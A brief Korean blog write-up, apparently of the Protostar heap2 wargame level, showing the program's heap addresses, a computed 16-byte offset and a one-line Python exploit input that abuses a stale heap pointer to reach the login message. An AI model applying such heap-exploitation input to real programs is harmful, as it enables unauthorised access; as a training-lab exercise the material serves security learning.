system

[protostar]heap2.c

lulurara 2020. 11. 12. 17:15
반응형

This level examines what can happen when heap pointers are stale.
This level is completed when you see the "you have logged in already!" message
This level is at /opt/protostar/bin/heap2

> ./heap2
[ auth = (nil), service = (nil) ]
auth A
[ auth = 0x804c008, service = (nil) ]
service A
[ auth = 0x804c008, service = 0x804c018 ]

0x804c018 - 0x804c008 = 0x10(16진수) = 16(10진수)

16만큼의 오버플로우 필요

(python -c ‘print “auth a\n” + “service “+”A”*16 + “B\n” + “login\n”’)|./heap2
반응형